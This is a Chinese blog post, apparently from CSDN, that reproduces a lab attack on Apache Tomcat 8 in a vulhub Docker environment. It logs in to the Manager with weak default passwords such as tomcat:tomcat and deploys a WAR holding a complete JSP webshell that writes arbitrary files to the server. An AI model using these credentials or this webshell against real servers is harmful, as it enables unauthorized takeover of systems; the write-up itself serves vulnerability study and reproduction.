Tomcat弱口令 && 后台getshell

最新推荐文章于 2024-05-11 11:09:50 发布

维梓-

最新推荐文章于 2024-05-11 11:09:50 发布

阅读量1.7k

点赞数 1

分类专栏：中间件漏洞复现文章标签： tomcat 安全漏洞信息安全

本文链接：https://blog.csdn.net/zy15667076526/article/details/109958437

版权

中间件漏洞复现专栏收录该内容

164 篇文章 53 订阅

订阅专栏

声明

好好学习，天天向上

漏洞描述

用户权限在conf/tomcat-users.xml文件中配置：

<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">

    <role rolename="manager-gui"/>
    <role rolename="manager-script"/>
    <role rolename="manager-jmx"/>
    <role rolename="manager-status"/>
    <role rolename="admin-gui"/>
    <role rolename="admin-script"/>
    <user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />
    
</tomcat-users>

可以看出，tomcat用户具有上述所有权限，密码为tomcat。

影响范围

Apache Tomcat 8

复现过程

这里使用8.0.43版本

使用vulhub

cd /app/vulhub-20201028/tomcat/tomcat8

使用docker启动

docker-compose up -d

拉镜像以后，访问IP:8080

访问

http://192.168.239.129:8080/manager/html

输入几组弱口令，成功登录

tomcat:tomcat
tomcat:123456

准备好jsp木马，shell.jsp

<%@page contentType="text/html;charset=gb2312"%>    
<%@page import="java.io.*,java.util.*,java.net.*"%>    
<html>    
  <head>    
    <title></title>    
    <style type="text/css">    
     body { color:red; font-size:12px; background-color:white; }    
    </style>    
  </head>    
  <body>    
  <%    
   if(request.getParameter("context")!=null)    
   {    
   String context=new String(request.getParameter("context").getBytes("ISO-8859-1"),"gb2312");    
   String path=new String(request.getParameter("path").getBytes("ISO-8859-1"),"gb2312");    
   OutputStream pt = null;    
        try {    
            pt = new FileOutputStream(path);    
            pt.write(context.getBytes());    
            out.println("<a href='"+request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+request.getRequestURI()+"'><font color='red' title='点击可以转到上传的文件页面!'>上传成功!</font></a>");    
        } catch (FileNotFoundException ex2) {    
            out.println("<font color='red'>上传失败!</font>");    
        } catch (IOException ex) {    
            out.println("<font color='red'>上传失败!</font>");    
        } finally {    
            try {    
                pt.close();    
            } catch (IOException ex3) {    
                out.println("<font color='red'>上传失败!</font>");    
            }    
        }    
}    
  %>    
    <form name="frmUpload" method="post" action="">    
    <font color="blue">本文件的路径:</font><%out.print(request.getRealPath(request.getServletPath())); %>    
    <br>    
    <br>    
    <font color="blue">上传文件路径:</font><input type="text" size="70" name="path" value="<%out.print(getServletContext().getRealPath("/")); %>">    
    <br>    
    <br>    
    上传文件内容:<textarea name="context" id="context" style="width: 51%; height: 150px;"></textarea>    
    <br>    
    <br>    
    <input type="submit" name="btnSubmit" value="Upload">    
    </form>    
  </body>    
</html>

打包成shell.zip，在改后缀为shell.war

上传

在这里插入图片描述

上传成功并且我们还找到了这个路径

在这里插入图片描述

访问马

http://192.168.239.129:8080/shell/shell.jsp

在这里插入图片描述

使用完后关闭镜像

docker-compose down

docker-compose常用命令

拉镜像（进入到vulhub某个具体目录后）

docker-compose build
docker-compose up -d

镜像查询（查到的第一列就是ID值）

docker ps -a

进入指定镜像里面（根据上一条查出的ID进入）

docker exec -it ID /bin/bash

关闭镜像（每次用完后关闭）

docker-compose down

维梓-

关注

1
点赞
踩
3

收藏

觉得还不错? 一键收藏
0
评论
Tomcat弱口令 && 后台getshell

声明好好学习，天天向上漏洞描述用户权限在conf/tomcat-users.xml文件中配置：<?xml version="1.0" encoding="UTF-8"?><tomcat-users xmlns="http://tomcat.apache.org/xml" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http
复制链接

扫一扫

专栏目录